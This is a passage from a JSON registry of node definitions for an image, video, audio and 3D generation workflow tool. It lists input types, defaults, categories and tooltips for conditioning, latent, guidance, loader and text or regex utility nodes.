["source_video", "reference_video", "reference_images", "ref_max_size"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "BerniniConditioning", "display_name": "Bernini Conditioning", "description": "Conditioning node for Bernini in-context video/image conditioning. It can be used for the following tasks: t2v (text-to-video), v2v (video-to-video), rv2v (reference-guided video editing), r2v (reference-to-video), ads2v (insert image/video into video).Reference images injected as in-context tokens (r2v, rv2v) are encoded independently at their own native aspect ratio (long edge capped at ref_max_size)", "python_module": "comfy_extras.nodes_bernini", "category": "model/conditioning/bernini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LotusConditioning": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["conditioning"], "output_tooltips": [null], "output_matchtypes": null, "name": "LotusConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lotus", "category": "model/conditioning/lotus", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyLatentHunyuan3Dv2": {"input": {"required": {"resolution": ["INT", {"default": 3072, "min": 1, "max": 8192}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["resolution", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLatentHunyuan3Dv2", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/latent/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Hunyuan3Dv2Conditioning": {"input": {"required": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Hunyuan3Dv2Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/conditioning/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Hunyuan3Dv2ConditioningMultiView": {"input": {"required": {}, "optional": {"front": ["CLIP_VISION_OUTPUT", {}], "left": ["CLIP_VISION_OUTPUT", {}], "back": ["CLIP_VISION_OUTPUT", {}], "right": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": [], "optional": ["front", "left", "back", "right"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Hunyuan3Dv2ConditioningMultiView", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/conditioning/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeHunyuan3D": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}], "num_chunks": ["INT", {"advanced": true, "default": 8000, "min": 1000, "max": 500000}], "octree_resolution": ["INT", {"advanced": true, "default": 256, "min": 16, "max": 512}]}}, "input_order": {"required": ["samples", "vae", "num_chunks", "octree_resolution"]}, "is_input_list": false, "output": ["VOXEL"], "output_is_list": [false], "output_name": ["VOXEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeHunyuan3D", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/latent/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VoxelToMeshBasic": {"input": {"required": {"voxel": ["VOXEL", {}], "threshold": ["FLOAT", {"default": 0.6, "min": -1.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["voxel", "threshold"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "VoxelToMeshBasic", "display_name": "Voxel to Mesh (Basic) (DEPRECATED)", "description": "Converts a voxel grid to a mesh.", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "3d", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VoxelToMesh": {"input": {"required": {"voxel": ["VOXEL", {}], "algorithm": ["COMBO", {"multiselect": false, "options": ["surface net", "basic"]}], "threshold": ["FLOAT", {"default": 0.6, "min": -1.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["voxel", "algorithm", "threshold"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "VoxelToMesh", "display_name": "Voxel to Mesh", "description": "Converts a voxel grid to a mesh.", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveString": {"input": {"required": {"value": ["STRING", {"multiline": false}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveString", "display_name": "Text String (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["text", "string", "text box", "prompt"], "essentials_category": null, "has_intermediate_output": false}, "PrimitiveStringMultiline": {"input": {"required": {"value": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveStringMultiline", "display_name": "Input Text", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["text", "string", "text multiline", "string multiline", "text box", "prompt"], "essentials_category": "Basics", "has_intermediate_output": false}, "PrimitiveInt": {"input": {"required": {"value": ["INT", {"min": -9223372036854775807, "max": 9223372036854775807, "control_after_generate": "fixed"}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["INT"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveInt", "display_name": "Int", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveFloat": {"input": {"required": {"value": ["FLOAT", {"min": -9223372036854775807, "max": 9223372036854775807, "step": 0.1}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["FLOAT"], "output_is_list": [false], "output_name": ["FLOAT"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveFloat", "display_name": "Float", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveBoolean": {"input": {"required": {"value": ["BOOLEAN", {}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveBoolean", "display_name": "Boolean", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGZeroStar": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGZeroStar", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGNorm": {"input": {"required": {"model": ["MODEL", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}, "optional": {"pre_cfg": ["BOOLEAN", {"tooltip": "If true, rescale the combined noise BEFORE the sampler's CFG combine, without clamping (can amplify). Matches the norm-scaled CFG used by models like Lens. Default false keeps the original post-CFG x0-space attenuate-only behavior.", "default": false}]}}, "input_order": {"required": ["model", "strength"], "optional": ["pre_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGNorm", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OptimalStepsScheduler": {"input": {"required": {"model_type": ["COMBO", {"multiselect": false, "options": ["FLUX", "Wan", "Chroma"]}], "steps": ["INT", {"default": 20, "min": 3, "max": 1000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model_type", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "OptimalStepsScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_optimalsteps", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuadrupleCLIPLoader": {"input": {"required": {"clip_name1": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name2": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name3": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name4": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3", "clip_name4"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuadrupleCLIPLoader", "display_name": "Load CLIP (Quadruple)", "description": "Recipes:\nhidream: long clip-l, long clip-g, t5xxl, llama_8b_3.1_instruct", "python_module": "comfy_extras.nodes_hidream", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeHiDream": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "llama": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "clip_l", "clip_g", "t5xxl", "llama"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeHiDream", "display_name": "CLIP Text Encode (HiDream)", "description": "", "python_module": "comfy_extras.nodes_hidream", "category": "model/conditioning/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["hidream prompt"], "essentials_category": null, "has_intermediate_output": false}, "FreSca": {"input": {"required": {"model": ["MODEL", {}], "scale_low": ["FLOAT", {"tooltip": "Scaling factor for low-frequency components", "advanced": true, "default": 1.0, "min": 0, "max": 10, "step": 0.01}], "scale_high": ["FLOAT", {"tooltip": "Scaling factor for high-frequency components", "advanced": true, "default": 1.25, "min": 0, "max": 10, "step": 0.01}], "freq_cutoff": ["INT", {"tooltip": "Number of frequency indices around center to consider as low-frequency", "advanced": true, "default": 20, "min": 1, "max": 10000, "step": 1}]}}, "input_order": {"required": ["model", "scale_low", "scale_high", "freq_cutoff"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreSca", "display_name": "FreSca", "description": "Applies frequency-dependent scaling to the guidance", "python_module": "comfy_extras.nodes_fresca", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["frequency guidance"], "essentials_category": null, "has_intermediate_output": false}, "APG": {"input": {"required": {"model": ["MODEL", {}], "eta": ["FLOAT", {"tooltip": "Controls the scale of the parallel guidance vector. Default CFG behavior at a setting of 1.", "advanced": true, "default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}], "norm_threshold": ["FLOAT", {"tooltip": "Normalize guidance vector to this value, normalization disable at a setting of 0.", "advanced": true, "default": 5.0, "min": 0.0, "max": 50.0, "step": 0.1}], "momentum": ["FLOAT", {"tooltip": "Controls a running average of guidance during diffusion, disabled at a setting of 0.", "advanced": true, "default": 0.0, "min": -5.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "eta", "norm_threshold", "momentum"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "APG", "display_name": "Adaptive Projected Guidance", "description": "", "python_module": "comfy_extras.nodes_apg", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PreviewAny": {"input": {"required": {"source": ["*", {}]}}, "input_order": {"required": ["source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "name": "PreviewAny", "display_name": "Preview as Text", "description": "", "python_module": "comfy_extras.nodes_preview_any", "category": "utilities", "output_node": true, "has_intermediate_output": false, "search_aliases": ["show output", "inspect", "debug", "print value", "show text"]}, "TextEncodeAceStepAudio": {"input": {"required": {"clip": ["CLIP", {}], "tags": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics_strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip", "tags", "lyrics", "lyrics_strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeAceStepAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyAceStepLatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 120.0, "min": 1.0, "max": 1000.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAceStepLatentAudio", "display_name": "Empty Ace Step 1.0 Latent Audio", "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/latent/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeAceStepAudio1.5": {"input": {"required": {"clip": ["CLIP", {}], "tags": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics": ["STRING", {"multiline": true, "dynamicPrompts": true}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "bpm": ["INT", {"default": 120, "min": 10, "max": 300}], "duration": ["FLOAT", {"default": 120.0, "min": 0.0, "max": 2000.0, "step": 0.1}], "timesignature": ["COMBO", {"multiselect": false, "options": ["2", "3", "4", "6"]}], "language": ["COMBO", {"default": "en", "multiselect": false, "options": ["ar", "az", "bg", "bn", "ca", "cs", "da", "de", "el", "en", "es", "fa", "fi", "fr", "he", "hi", "hr", "ht", "hu", "id", "is", "it", "ja", "ko", "la", "lt", "ms", "ne", "nl", "no", "pa", "pl", "pt", "ro", "ru", "sa", "sk", "sr", "sv", "sw", "ta", "te", "th", "tl", "tr", "uk", "ur", "vi", "yue", "zh", "unknown"]}], "keyscale": ["COMBO", {"multiselect": false, "options": ["C major", "C# major", "Db major", "D major", "D# major", "Eb major", "E major", "F major", "F# major", "Gb major", "G major", "G# major", "Ab major", "A major", "A# major", "Bb major", "B major", "C minor", "C# minor", "Db minor", "D minor", "D# minor", "Eb minor", "E minor", "F minor", "F# minor", "Gb minor", "G minor", "G# minor", "Ab minor", "A minor", "A# minor", "Bb minor", "B minor"]}], "generate_audio_codes": ["BOOLEAN", {"tooltip": "Enable the LLM that generates audio codes. This can be slow but will increase the quality of the generated audio. Turn this off if you are giving the model an audio reference.", "advanced": true, "default": true}], "cfg_scale": ["FLOAT", {"advanced": true, "default": 2.0, "min": 0.0, "max": 100.0, "step": 0.1}], "temperature": ["FLOAT", {"advanced": true, "default": 0.85, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 2000.0, "step": 0.01}], "top_k": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 100}], "min_p": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["clip", "tags", "lyrics", "seed", "bpm", "duration", "timesignature", "language", "keyscale", "generate_audio_codes", "cfg_scale", "temperature", "top_p", "top_k", "min_p"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeAceStepAudio1.5", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyAceStep1.5LatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 120.0, "min": 1.0, "max": 1000.0, "step": 0.01}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAceStep1.5LatentAudio", "display_name": "Empty Ace Step 1.5 Latent Audio", "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/latent/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReferenceTimbreAudio": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["conditioning"], "optional": ["latent"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReferenceTimbreAudio", "display_name": "Set Reference Audio", "description": "This node sets the reference audio for ace step 1.5", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StringFormat": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "names": ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], "min": 0}}], "f_string": ["STRING", {"default": "{a}", "multiline": true}]}}, "input_order": {"required": ["values", "f_string"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringFormat", "display_name": "Format Text", "description": "Same as Python's string format method. Supports all of Python's format options and features.", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["string", "format"], "essentials_category": null, "has_intermediate_output": false}, "StringConcatenate": {"input": {"required": {"string_a": ["STRING", {"multiline": true}], "string_b": ["STRING", {"multiline": true}], "delimiter": ["STRING", {"default": "", "multiline": false}]}}, "input_order": {"required": ["string_a", "string_b", "delimiter"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringConcatenate", "display_name": "Concatenate Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["concatenate", "text concat", "join text", "merge text", "combine strings", "string concat", "append text", "combine text"], "essentials_category": null, "has_intermediate_output": false}, "StringSubstring": {"input": {"required": {"string": ["STRING", {"multiline": true}], "start": ["INT", {}], "end": ["INT", {}]}}, "input_order": {"required": ["string", "start", "end"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringSubstring", "display_name": "Substring", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["substring", "extract text", "text portion"], "essentials_category": null, "has_intermediate_output": false}, "StringLength": {"input": {"required": {"string": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["string"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["length"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringLength", "display_name": "Text Length", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["character count", "text size", "string length"], "essentials_category": null, "has_intermediate_output": false}, "CaseConverter": {"input": {"required": {"string": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["UPPERCASE", "lowercase", "Capitalize", "Title Case"]}]}}, "input_order": {"required": ["string", "mode"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CaseConverter", "display_name": "Convert Text Case", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["case converter", "text case", "uppercase", "lowercase", "capitalize"], "essentials_category": null, "has_intermediate_output": false}, "StringTrim": {"input": {"required": {"string": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["Both", "Left", "Right"]}]}}, "input_order": {"required": ["string", "mode"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringTrim", "display_name": "Trim Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim", "clean whitespace", "remove whitespace", "remove spaces", "strip"], "essentials_category": null, "has_intermediate_output": false}, "StringReplace": {"input": {"required": {"string": ["STRING", {"multiline": true}], "find": ["STRING", {"multiline": true}], "replace": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["string", "find", "replace"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringReplace", "display_name": "Replace Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["replace", "find and replace", "substitute", "swap text"], "essentials_category": null, "has_intermediate_output": false}, "StringContains": {"input": {"required": {"string": ["STRING", {"multiline": true}], "substring": ["STRING", {"multiline": true}], "case_sensitive": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["string", "substring", "case_sensitive"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["contains"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringContains", "display_name": "Contains Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["contains", "text includes", "string includes"], "essentials_category": null, "has_intermediate_output": false}, "StringCompare": {"input": {"required": {"string_a": ["STRING", {"multiline": true}], "string_b": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["Starts With", "Ends With", "Equal"]}], "case_sensitive": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["string_a", "string_b", "mode", "case_sensitive"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringCompare", "display_name": "Compare Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["compare", "text match", "string equals", "starts with", "ends with"], "essentials_category": null, "has_intermediate_output": false}, "RegexMatch": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"advanced": true, "default": false}]}}, "input_order": {"required": ["string", "regex_pattern", "case_insensitive", "multiline", "dotall"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["matches"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexMatch", "display_name": "Match Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex match", "regex", "pattern match", "text contains", "string match"], "essentials_category": null, "has_intermediate_output": false}, "RegexExtract": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["First Match", "All Matches", "First Group", "All Groups"]}], "case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"advanced": true, "default": false}], "group_index": ["INT", {"advanced": true, "default": 1, "min": 0, "max": 100}]}}, "input_order": {"required": ["string", "regex_pattern", "mode", "case_insensitive", "multiline", "dotall", "group_index"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexExtract", "display_name": "Extract Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex extract", "regex", "pattern extract", "text parser", "parse text"], "essentials_category": null, "has_intermediate_output": false}, "RegexReplace": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "replace": ["STRING", {"multiline": true}]}, "optional": {"case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"tooltip": "When enabled, the dot (.) character will match any character including newline characters. When disabled, dots won't match newlines.", "advanced": true, "default": false}], "count": ["INT", {"tooltip": "Maximum number of replacements to make. Set to 0 to replace all occurrences (default). Set to 1 to replace only the first match, 2 for the first two matches, etc.", "advanced": true, "default": 0, "min": 0, "max": 100}]}}, "input_order": {"required": ["string", "regex_pattern", "replace"], "optional": ["case_insensitive", "multiline", "dotall", "count"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexReplace", "display_name": "Replace Text (Regex)", "description": "Find and replace text using regex patterns.", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex replace", "regex", "pattern replace", "substitution"], "essentials_category": null, "has_intermediate_output": false}, 